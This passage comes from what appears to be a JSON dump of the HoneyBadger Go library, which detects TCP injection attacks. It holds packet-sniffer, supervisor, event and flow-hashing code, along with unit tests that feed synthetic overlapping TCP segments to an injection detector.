2, 3, 4, 5}, false, false},\n\t\t\t\tblocks.BlockSegment{blocks.Block{15, 17}, []byte{1, 2, 3}, false, false},\n\t\t\t},\n\t\t},\n\t\t{ //4\n\t\t\tblocks.Block{A: 0, B: 100}, []blocks.BlockSegment{\n\t\t\t\tblocks.BlockSegment{blocks.Block{A: 5, B: 10}, []byte{1, 2, 3, 4, 5}, false, false},\n\t\t\t\tblocks.BlockSegment{blocks.Block{A: 10, B: 15}, []byte{1, 2, 3, 4, 5}, false, false},\n\t\t\t\tblocks.BlockSegment{blocks.Block{A: 15, B: 20}, []byte{1, 2, 3, 4, 5}, false, false},\n\t\t\t\tblocks.BlockSegment{blocks.Block{A: 20, B: 25}, []byte{1, 2, 3, 4, 5}, false, false},\n\t\t\t\tblocks.BlockSegment{blocks.Block{A: 25, B: 30}, []byte{1, 2, 3, 4, 5}, false, false},\n\t\t\t\tblocks.BlockSegment{blocks.Block{A: 30, B: 35}, []byte{1, 2, 3, 4, 5}, false, false},\n\t\t\t\tblocks.BlockSegment{blocks.Block{A: 35, B: 40}, []byte{1, 2, 3, 4, 5}, false, false},\n\t\t\t},\n\t\t},\n\t}\n\n\t// setup ring with some content and sequence numbers\n\tvar ringPtr *types.Ring = types.NewRing(40)\n\tfor j := 5; j < 40; j += 5 {\n\t\treassembly := types.Reassembly{\n\t\t\tSeq:   types.Sequence(j),\n\t\t\tBytes: []byte{1, 2, 3, 4, 5},\n\t\t}\n\n\t\tringPtr.Reassembly = &reassembly\n\t\tringPtr = ringPtr.Next()\n\t}\n\treassembly := types.Reassembly{\n\t\tSeq:   types.Sequence(46),\n\t\tBytes: []byte{},\n\t}\n\tringPtr.Reassembly = &reassembly\n\tringPtr = ringPtr.Next()\n\n\t// run tests\n\tfor i := 0; i < len(overlapBlockTests); i++ {\n\t\tlog.Printf(\"test # %d\\n\", i)\n\t\toverlaps := getOverlapsInRing(ringPtr, overlapBlockTests[i].in.A, overlapBlockTests[i].in.B)\n\n\t\tif len(overlaps) != len(overlapBlockTests[i].want) {\n\t\t\tt.Errorf(\"wanted %d overlaps, got %d\\n\", len(overlapBlockTests[i].want), len(overlaps))\n\t\t\tt.Fail()\n\t\t}\n\n\t\tfor j := 0; j < len(overlaps) && j < len(overlapBlockTests[i].want); j++ {\n\t\t\tlog.Printf(\"got overlap: %s\\n\", overlaps[j].Block)\n\t\t\tlog.Printf(\"len of overlap bytes: %d\\n\", len(overlaps[j].Bytes))\n\t\t\t//log.Print(hex.Dump(overlaps[j].Bytes))\n\t\t\tif overlaps[j].Block != overlapBlockTests[i].want[j].Block {\n\t\t\t\tt.Errorf(\"overlaps unequal: %s != %s\\n\", overlaps[j].Block, overlapBlockTests[i].want[j])\n\t\t\t\tt.Fail()\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc TestInjectionDetector(t *testing.T) {\n\tattackLogger := NewDummyAttackLogger()\n\toptions := ConnectionOptions{\n\t\tMaxBufferedPagesTotal:         0,\n\t\tMaxBufferedPagesPerConnection: 0,\n\t\tMaxRingPackets:                40,\n\t\tPageCache:                     nil,\n\t\tLogDir:                        \"fake-log-dir\",\n\t\tAttackLogger:                  attackLogger,\n\t}\n\n\tf := &DefaultConnFactory{}\n\tconn := f.Build(options).(*Connection)\n\treassembly := types.Reassembly{\n\t\tSeq:   types.Sequence(5),\n\t\tBytes: []byte{1, 2, 3, 4, 5},\n\t}\n\tconn.ClientStreamRing.Reassembly = &reassembly\n\tconn.ClientStreamRing = conn.ClientStreamRing.Next()\n\tconn.ServerStreamRing.Reassembly = &reassembly\n\tconn.ServerStreamRing = conn.ServerStreamRing.Next()\n\n\tipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5)))\n\ttcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2)))\n\n\tclientFlow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow)\n\tserverFlow := clientFlow.Reverse()\n\tconn.serverFlow = &serverFlow\n\tconn.clientFlow = &clientFlow\n\n\tp := types.PacketManifest{\n\t\tFlow: &clientFlow,\n\t\tIPv4: &layers.IPv4{\n\t\t\tSrcIP:    net.IP{1, 2, 3, 4},\n\t\t\tDstIP:    net.IP{2, 3, 4, 5},\n\t\t\tVersion:  4,\n\t\t\tTTL:      64,\n\t\t\tProtocol: layers.IPProtocolTCP,\n\t\t},\n\t\tTCP: &layers.TCP{\n\t\t\tSeq:     7,\n\t\t\tSrcPort: 1,\n\t\t\tDstPort: 2,\n\t\t},\n\t\tPayload: []byte{1, 2, 3, 4, 5, 6, 7},\n\t}\n\n\tconn.detectInjection(&p)\n\n\tif attackLogger.Count != 1 {\n\t\tt.Errorf(\"detectInjection failed; count == %d\\n\", attackLogger.Count)\n\t\tt.Fail()\n\t}\n\t// next test case\n\tp.TCP = &layers.TCP{\n\t\tSeq:     7,\n\t\tSrcPort: 1,\n\t\tDstPort: 2,\n\t}\n\tp.Payload = []byte{3, 4, 5}\n\tconn.detectInjection(&p)\n\tif attackLogger.Count == 0 {\n\t\tt.Error(\"failed to detect injection\\n\")\n\t\tt.Fail()\n\t}\n\n\t// next test case\n\tattackLogger.Count = 0\n\tp.TCP = &layers.TCP{\n\t\tSeq:     1,\n\t\tSrcPort: 1,\n\t\tDstPort: 2,\n\t}\n\tp.Payload = []byte{1, 2, 3, 4, 5, 6}\n\tconn.detectInjection(&p)\n\tif attackLogger.Count == 0 {\n\t\tt.Error(\"failed to detect injection\\n\")\n\t\tt.Fail()\n\t}\n\n\t// next test case\n\tattackLogger.Count = 0\n\tp.TCP = &layers.TCP{\n\t\tSeq:     1,\n\t\tSrcPort: 1,\n\t\tDstPort: 2,\n\t}\n\tp.Payload = []byte{1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 12, 13, 14, 15, 16, 17}\n\tconn.detectInjection(&p)\n\tif attackLogger.Count != 1 {\n\t\tt.Error(\"injection detection failure\\n\")\n\t\tt.Fail()\n\t}\n}\n"
  },
  {
    "path": "sniffer.go",
    "content": "/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage HoneyBadger\n\nimport (\n\t\"fmt\"\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/layers\"\n\t\"io\"\n\t\"log\"\n\n\t\"github.com/david415/HoneyBadger/drivers\"\n\t\"github.com/david415/HoneyBadger/types\"\n)\n\n// Sniffer sets up the connection pool and is an abstraction layer for dealing\n// with incoming packets weather they be from a pcap file or directly off the wire.\ntype Sniffer struct {\n\toptions          *types.SnifferDriverOptions\n\tsupervisor       types.Supervisor\n\tdispatcher       PacketDispatcher\n\tpacketDataSource types.PacketDataSourceCloser\n\tisStopped        bool\n\tdecodePacketChan chan TimedRawPacket\n\tstopDecodeChan   chan bool\n}\n\n// NewSniffer creates a new Sniffer struct\nfunc NewSniffer(options *types.SnifferDriverOptions, dispatcher PacketDispatcher) types.PacketSource {\n\ti := Sniffer{\n\t\tdispatcher:       dispatcher,\n\t\toptions:          options,\n\t\tdecodePacketChan: make(chan TimedRawPacket),\n\t\tstopDecodeChan:   make(chan bool),\n\t}\n\treturn &i\n}\n\nfunc (i *Sniffer) SetSupervisor(supervisor types.Supervisor) {\n\ti.supervisor = supervisor\n}\n\nfunc (i *Sniffer) GetStartedChan() chan bool {\n\treturn make(chan bool)\n}\n\n// Start... starts the TCP attack inquisition!\nfunc (i *Sniffer) Start() {\n\t// XXX\n\ti.setupHandle()\n\n\tgo i.capturePackets()\n\tgo i.decodePackets()\n}\n\nfunc (i *Sniffer) Stop() {\n\tlog.Print(\"sniffer: sending stopCapureChan signal\")\n\ti.isStopped = true\n\ti.stopDecodeChan <- true\n}\n\nfunc (i *Sniffer) Close() {\n\tif i.packetDataSource != nil {\n\t\tlog.Print(\"closing packet capture socket\")\n\t\ti.packetDataSource.Close()\n\t}\n\tlog.Print(\"stopping the sniffer decode loop\")\n\ti.isStopped = true\n\tlog.Print(\"done.\")\n}\n\nfunc (i *Sniffer) setupHandle() {\n\tvar err error\n\tvar what string\n\n\tfactory, ok := drivers.Drivers[i.options.DAQ]\n\tif !ok {\n\t\tlog.Fatal(fmt.Sprintf(\"%s Sniffer not supported on this system\", i.options.DAQ))\n\t}\n\ti.packetDataSource, err = factory(i.options)\n\n\tif err != nil {\n\t\tif i.options.Filename != \"\" {\n\t\t\tlog.Printf(\"failed to read file %s\", i.options.Filename)\n\t\t}\n\t\tpanic(fmt.Sprintf(\"Failed to acquire DataAcQuisition source: %s\", err))\n\t}\n\n\tif i.options.Filename != \"\" {\n\t\twhat = fmt.Sprintf(\"file %s\", i.options.Filename)\n\t} else {\n\t\twhat = fmt.Sprintf(\"interface %s\", i.options.Device)\n\t}\n\n\tlog.Printf(\"Starting %s packet capture on %s\", i.options.DAQ, what)\n}\n\nfunc (i *Sniffer) capturePackets() {\n\tfor {\n\t\trawPacket, captureInfo, err := i.packetDataSource.ReadPacketData()\n\t\tif err == io.EOF {\n\t\t\tlog.Print(\"ReadPacketData got EOF\\n\")\n\t\t\ti.Close()\n\t\t\ti.Stop()\n\t\t\ti.dispatcher.Stop()\n\t\t\ti.supervisor.Stopped()\n\t\t\treturn\n\t\t}\n\t\tif err != nil {\n\t\t\t//log.Printf(\"packet capure read error: %s\", err)\n\t\t\tcontinue\n\t\t}\n\t\ttimedPacket := TimedRawPacket{\n\t\t\tTimestamp: captureInfo.Timestamp,\n\t\t}\n\t\ttimedPacket.RawPacket = make([]byte, len(rawPacket))\n\t\tcopy(timedPacket.RawPacket, rawPacket)\n\t\ti.decodePacketChan <- timedPacket\n\t\tif i.isStopped {\n\t\t\tbreak\n\t\t}\n\t}\n}\n\nfunc (i *Sniffer) decodePackets() {\n\tvar eth layers.Ethernet\n\tvar ip4 layers.IPv4\n\tvar ip6 layers.IPv6\n\tvar tcp layers.TCP\n\tvar payload gopacket.Payload\n\n\tparser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &eth, &ip4, &ip6, &tcp, &payload)\n\tdecoded := make([]gopacket.LayerType, 0, 4)\n\n\tfor {\n\t\tselect {\n\t\tcase <-i.stopDecodeChan:\n\t\t\treturn\n\t\tcase timedRawPacket := <-i.decodePacketChan:\n\t\t\tnewPayload := new(gopacket.Payload)\n\t\t\tpayload = *newPayload\n\t\t\terr := parser.DecodeLayers(timedRawPacket.RawPacket, &decoded)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tpacketManifest := types.PacketManifest{\n\t\t\t\tTimestamp: timedRawPacket.Timestamp,\n\t\t\t\tPayload:   payload,\n\t\t\t\tIPv6:      &layers.IPv6{},\n\t\t\t\tIPv4:      &layers.IPv4{},\n\t\t\t\tTCP:       &layers.TCP{},\n\t\t\t}\n\n\t\t\tfoundNetLayer := false\n\n\t\t\tfor _, typ := range decoded {\n\t\t\t\tswitch typ {\n\t\t\t\tcase layers.LayerTypeIPv4:\n\t\t\t\t\t*packetManifest.IPv4 = ip4\n\t\t\t\t\tfoundNetLayer = true\n\t\t\t\tcase layers.LayerTypeIPv6:\n\t\t\t\t\t*packetManifest.IPv6 = ip6\n\t\t\t\t\tfoundNetLayer = true\n\t\t\t\tcase layers.LayerTypeTCP:\n\t\t\t\t\tif foundNetLayer {\n\t\t\t\t\t\tflow := types.TcpIpFlow{}\n\n\t\t\t\t\t\tif packetManifest.IPv4.Version == 4 {\n\t\t\t\t\t\t\t// IPv4 case\n\t\t\t\t\t\t\tflow = types.NewTcpIpFlowFromFlows(ip4.NetworkFlow(), tcp.TransportFlow())\n\t\t\t\t\t\t} else if packetManifest.IPv6.Version == 6 {\n\t\t\t\t\t\t\t// IPv6 case\n\t\t\t\t\t\t\tflow = types.NewTcpIpFlowFromFlows(ip6.NetworkFlow(), tcp.TransportFlow())\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tpanic(\"wtf\")\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpacketManifest.Flow = &flow\n\t\t\t\t\t\t*packetManifest.TCP = tcp\n\t\t\t\t\t\ti.dispatcher.ReceivePacket(&packetManifest)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog.Println(\"could not find IPv4 or IPv6 layer, inoring\")\n\t\t\t\t\t}\n\t\t\t\t} // switch\n\t\t\t} // for\n\n\t\t} // select\n\t} // for\n}\n"
  },
  {
    "path": "supervisor.go",
    "content": "/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage HoneyBadger\n\nimport (\n\t\"log\"\n\t\"os\"\n\t\"os/signal\"\n\n\t\"github.com/david415/HoneyBadger/types\"\n)\n\ntype SupervisorOptions struct {\n\tSnifferDriverOptions *types.SnifferDriverOptions\n\tDispatcherOptions    DispatcherOptions\n\tSnifferFactory       func(*types.SnifferDriverOptions, PacketDispatcher) types.PacketSource\n\tConnectionFactory    ConnectionFactory\n\tPacketLoggerFactory  types.PacketLoggerFactory\n}\n\ntype Supervisor struct {\n\tdispatcher       *Dispatcher\n\tsniffer          types.PacketSource\n\tchildStoppedChan chan bool\n\tforceQuitChan    chan os.Signal\n}\n\nfunc NewSupervisor(options SupervisorOptions) *Supervisor {\n\tdispatcher := NewDispatcher(options.DispatcherOptions, options.ConnectionFactory, options.PacketLoggerFactory)\n\tsniffer := options.SnifferFactory(options.SnifferDriverOptions, dispatcher)\n\tsupervisor := Supervisor{\n\t\tforceQuitChan:    make(chan os.Signal, 1),\n\t\tchildStoppedChan: make(chan bool, 0),\n\t\tdispatcher:       dispatcher,\n\t\tsniffer:          sniffer,\n\t}\n\tsniffer.SetSupervisor(supervisor)\n\treturn &supervisor\n}\n\nfunc (b Supervisor) GetDispatcher() PacketDispatcher {\n\treturn b.dispatcher\n}\n\nfunc (b Supervisor) GetSniffer() types.PacketSource {\n\t// XXX return types.PacketSource(b.sniffer)\n\treturn b.sniffer\n}\n\nfunc (b Supervisor) Stopped() {\n\tlog.Print(\"Supervisor.Stopped()\")\n\tb.childStoppedChan <- true\n}\n\nfunc (b Supervisor) Run() {\n\tb.dispatcher.Start()\n\tb.sniffer.Start()\n\n\tsignal.Notify(b.forceQuitChan, os.Interrupt)\n\n\tselect {\n\tcase <-b.forceQuitChan:\n\t\tlog.Print(\"graceful shutdown: user force quit\\n\")\n\t\tlog.Print(\"stopping sniffer\")\n\t\tb.sniffer.Stop()\n\t\tlog.Print(\"stopping dispatcher\")\n\t\tb.dispatcher.Stop()\n\t\tlog.Print(\"supervisor waiting for child to stop\\n\")\n\tcase <-b.childStoppedChan:\n\t\tlog.Print(\"graceful shutdown: packet-source stopped\")\n\t}\n}\n"
  },
  {
    "path": "types/events.go",
    "content": "/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage types\n\nimport (\n\t\"io\"\n\t\"time\"\n)\n\ntype Logger interface {\n\tLog(r *Event)\n}\n\ntype PacketLogger interface {\n\tWritePacket(rawPacket []byte, timestamp time.Time)\n\tStart()\n\tStop()\n\tRemove()\n\tArchive()\n\tSetFileWriter(io.WriteCloser)\n}\n\ntype PacketLoggerFactory interface {\n\tBuild(*TcpIpFlow) PacketLogger\n}\n\ntype Event struct {\n\tType          string\n\tPacketCount   uint64\n\tFlow          TcpIpFlow\n\tTime          time.Time\n\tHijackSeq     uint32\n\tHijackAck     uint32\n\tPayload       []byte\n\tWinner        []byte\n\tLoser         []byte\n\tBase          Sequence\n\tStart         Sequence\n\tEnd           Sequence\n}\n"
  },
  {
    "path": "types/flow.go",
    "content": "/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage types\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/layers\"\n)\n\n// TcpIpFlow is used for tracking unidirectional TCP flows\ntype TcpIpFlow struct {\n\tipFlow  gopacket.Flow\n\ttcpFlow gopacket.Flow\n}\n\n// NewTcpIp4FlowFromLayers given IPv4 and TCP layers it returns a TcpIpFlow\nfunc NewTcpIp4FlowFromLayers(ipLayer layers.IPv4, tcpLayer layers.TCP) *TcpIpFlow {\n\treturn &TcpIpFlow{\n\t\tipFlow:  ipLayer.NetworkFlow(),\n\t\ttcpFlow: tcpLayer.TransportFlow(),\n\t}\n}\n\n// NewTcpIp6FlowFromLayers given IPv6 and TCP layers it returns a TcpIpFlow\nfunc NewTcpIp6FlowFromLayers(ipLayer layers.IPv6, tcpLayer layers.TCP) *TcpIpFlow {\n\treturn &TcpIpFlow{\n\t\tipFlow:  ipLayer.NetworkFlow(),\n\t\ttcpFlow: tcpLayer.TransportFlow(),\n\t}\n}\n\n// NewTcpIpFlowFromFlows given a net flow (either ipv4 or ipv6) and TCP flow returns a TcpIpFlow\nfunc NewTcpIpFlowFromFlows(netFlow gopacket.Flow, tcpFlow gopacket.Flow) TcpIpFlow {\n\t// XXX todo: check that the flow types are correct\n\treturn TcpIpFlow{\n\t\tipFlow:  netFlow,\n\t\ttcpFlow: tcpFlow,\n\t}\n}\n\n// String returns the string representation of a TcpIpFlow\nfunc (t TcpIpFlow) String() string {\n\treturn fmt.Sprintf(\"%s:%s-%s:%s\", t.ipFlow.Src().String(), t.tcpFlow.Src().String(), t.ipFlow.Dst().String(), t.tcpFlow.Dst().String())\n}\n\n// Reverse returns a reversed TcpIpFlow, that is to say the resulting\n// TcpIpFlow flow will be made up of a reversed IP flow and a reversed\n// TCP flow.\nfunc (t *TcpIpFlow) Reverse() TcpIpFlow {\n\treturn NewTcpIpFlowFromFlows(t.ipFlow.Reverse(), t.tcpFlow.Reverse())\n}\n\n// Equal returns true if TcpIpFlow structs t and s are equal. False otherwise.\nfunc (t *TcpIpFlow) Equal(s *TcpIpFlow) bool {\n\tipEndSrc1, _ := t.ipFlow.Endpoints()\n\tipEndSrc2, _ := s.ipFlow.Endpoints()\n\tif ipEndSrc1.EndpointType() != ipEndSrc2.EndpointType() {\n\t\tpanic(fmt.Sprintf(\"TcpIpFlow.Equal fail: mismatched flow types %s != %s\", ipEndSrc1.EndpointType(), ipEndSrc2.EndpointType()))\n\t}\n\treturn t.ipFlow == s.ipFlow && t.tcpFlow == s.tcpFlow\n}\n\n// getPacketFlow returns a TcpIpFlow struct given a byte array packet\nfunc NewTcpIpFlowFromPacket(packet []byte) (*TcpIpFlow, error) {\n\tvar ip layers.IPv4\n\tvar tcp layers.TCP\n\tdecoded := []gopacket.LayerType{}\n\tparser := gopacket.NewDecodingLayerParser(layers.LayerTypeIPv4, &ip, &tcp)\n\terr := parser.DecodeLayers(packet, &decoded)\n\tif err != nil {\n\t\treturn &TcpIpFlow{}, err\n\t}\n\treturn &TcpIpFlow{\n\t\tipFlow:  ip.NetworkFlow(),\n\t\ttcpFlow: tcp.TransportFlow(),\n\t}, nil\n}\n\n// Flows returns the component flow structs IPv4, TCP\nfunc (t *TcpIpFlow) Flows() (gopacket.Flow, gopacket.Flow) {\n\treturn t.ipFlow, t.tcpFlow\n}\n\ntype HashedTcpIpv6Flow struct {\n\t// ipv6 16 bytes + tcp port 2 bytes == 18\n\tSrc [18]byte\n\tDst [18]byte\n}\n\n// NewHashedTcpIpv6Flow returns a comparable struct given a flow struct\nfunc NewHashedTcpIpv6Flow(flow *TcpIpFlow) HashedTcpIpv6Flow {\n\thash := HashedTcpIpv6Flow{}\n\n\tipFlow, tcpFlow := flow.Flows()\n\tsrc := make([]byte, 18)\n\tcopy(src, ipFlow.Src().Raw())\n\tcopy(src[len(ipFlow.Src().Raw()):], tcpFlow.Src().Raw())\n\tcopy(hash.Src[:], src)\n\n\tdst := make([]byte, 18)\n\tcopy(dst, ipFlow.Dst().Raw())\n\tcopy(dst[len(ipFlow.Dst().Raw()):], tcpFlow.Dst().Raw())\n\tcopy(hash.Dst[:], dst)\n\n\tif bytes.Compare(hash.Src[:], hash.Dst[:]) > 0 {\n\t\treturn hash\n\t} else {\n\t\t// reverse\n\t\ta := hash.Src\n\t\thash.Src = hash.Dst\n\t\thash.Dst = a\n\t\treturn hash\n\t}\n}\n\ntype HashedTcpIpv4Flow struct {\n\tSrc uint64\n\tDst uint64\n}\n\n// NewHashedTcpIpv4Flow returns a comparable struct given a flow struct\nfunc NewHashedTcpIpv4Flow(flow *TcpIpFlow) HashedTcpIpv4Flow {\n\thash := HashedTcpIpv4Flow{}\n\n\tipFlow, tcpFlow := flow.Flows()\n\tsrc := make([]byte, 8)\n\tcopy(src, ipFlow.Src().Raw())\n\tcopy(src[len(ipFlow.Src().Raw()):], tcpFlow.Src().Raw())\n\thash.Src = binary.BigEndian.Uint64(src)\n\n\tdst := make([]byte, 8)\n\tcopy(dst, ipFlow.Dst().Raw())\n\tcopy(dst[len(ipFlow.Dst().Raw()):], tcpFlow.Dst().Raw())\n\thash.Dst = binary.BigEndian.Uint64(dst)\n\n\tif hash.Src > hash.Dst {\n\t\treturn hash\n\t} else {\n\t\t// reverse\n\t\ta := hash.Src\n\t\thash.Src = hash.Dst\n\t\thash.Dst = a\n\t\treturn hash\n\t}\n}\n"
  },
  {
    "path": "types/flow_test.go",
    "content": "package types\n\nimport (\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/layers\"\n\t\"net\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestFlows(t *testing.T) {\n\tipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5)))\n\ttcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2)))\n\ttcpIpFlow := NewTcpIpFlowFromFlows(ipFlow, tcpFlow)\n\tipFlow2, tcpFlow2 := tcpIpFlow.Flows()\n\tif ipFlow2 != ipFlow || tcpFlow2 != tcpFlow {\n\t\tt.Error(\"Flows method fail\")\n\t\tt.Fail()\n\t}\n}\n\nfunc TestFlowString(t *testing.T) {\n\tipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5)))\n\ttcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2)))\n\ttcpIpFlow := NewTcpIpFlowFromFlows(ipFlow, tcpFlow)\n\tif !strings.EqualFold(\"1.2.3.4:1-2.3.4.5:2\", tcpIpFlow.String()) {\n\t\tt.Error(\"TcpIpFlow.String() fail\")\n\t\tt.Fail()\n\t}\n}\n\nfunc TestFlowEqual(t *testing.T) {\n\tipFlow1, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5)))\n\ttcpFlow1, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2)))\n\tflow1 := NewTcpIpFlowFromFlows(ipFlow1, tcpFlow1)\n\n\tipFlow2, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5)))\n\ttcpFlow2, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2)))\n\tflow2 := NewTcpIpFlowFromFlows(ipFlow2, tcpFlow2)\n\n\tif !flow1.Equal(&flow2) {\n\t\tt.Error(\"TcpIpFlow.Equal fail\")\n\t\tt.Fail()\n\t}\n\n\tipFlow3, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(8, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5)))\n\ttcpFlow3, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2)))\n\tflow3 := NewTcpIpFlowFromFlows(ipFlow3, tcpFlow3)\n\n\tif flow1.Equal(&flow3) {\n\t\tt.Error(\"TcpIpFlow.Equal fail\")\n\t\tt.Fail()\n\t}\n}\n\nfunc TestNewTcpIpFlowFromPacket(t *testing.T) {\n\tbuf := gopacket.NewSerializeBuffer()\n\topts := gopacket.SerializeOptions{\n\t\tFixLengths:       true,\n\t\tComputeChecksums: true,\n\t}\n\tip := layers.IPv4{\n\t\tSrcIP:    net.IP{1, 2, 3, 4},\n\t\tDstIP:    net.IP{2, 3, 4, 5},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp := layers.TCP{\n\t\tSYN:       true,\n\t\tSrcPort:   1,\n\t\tDstPort:   2,\n\t\tSeq:       123,\n\t\tBaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3}},\n\t}\n\ttcp.SetNetworkLayerForChecksum(&ip)\n\tgopacket.SerializeLayers(buf, opts, &ip, &tcp)\n\tpacketData := buf.Bytes()\n\tflow1, err := NewTcpIpFlowFromPacket(packetData)\n\n\tipFlow2, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5)))\n\ttcpFlow2, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2)))\n\tflow2 := NewTcpIpFlowFromFlows(ipFlow2, tcpFlow2)\n\n\tif err != nil && !flow2.Equal(flow1) {\n\t\tt.Error(\"NewTcpIpFlowFromPacket fail\")\n\t\tt.Fail()\n\t}\n\n\tflow1, err = NewTcpIpFlowFromPacket([]byte{1, 2, 3, 4, 5, 6, 7})\n\tif err == nil || !flow1.Equal(&TcpIpFlow{}) {\n\t\tt.Error(\"NewTcpIpFlowFromPacket fail\")\n\t\tt.Fail()\n\t}\n}\n\nfunc FlowFromPacket() *TcpIpFlow {\n\tbuf := gopacket.NewSerializeBuffer()\n\topts := gopacket.SerializeOptions{\n\t\tFixLengths:       true,\n\t\tComputeChecksums: true,\n\t}\n\tip := layers.IPv4{\n\t\tSrcIP:    net.IP{1, 2, 3, 4},\n\t\tDstIP:    net.IP{2, 3, 4, 5},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp := layers.TCP{\n\t\tSYN:       true,\n\t\tSrcPort:   1,\n\t\tDstPort:   2,\n\t\tSeq:       123,\n\t\tBaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3}},\n\t}\n\ttcp.SetNetworkLayerForChecksum(&ip)\n\tgopacket.SerializeLayers(buf, opts, &ip, &tcp)\n\tpacketData := buf.Bytes()\n\tflow, _ := NewTcpIpFlowFromPacket(packetData)\n\treturn flow\n}\n\nfunc TestHashedTcpIpv4Flow(t *testing.T) {\n\ttcpIpFlow := FlowFromPacket()\n\thash1 := NewHashedTcpIpv4Flow(tcpIpFlow)\n\tf := tcpIpFlow.Reverse()\n\thash2 := NewHashedTcpIpv4Flow(&f)\n\tif hash1 != hash2 {\n\t\tt.Error(\"hash values must be equal after sorting!\")\n\t\tt.Fail()\n\t}\n}\n\nfunc TestHashedTcpIpv6Flow(t *testing.T) {\n\ttcpIpFlow := FlowFromPacket()\n\thash1 := 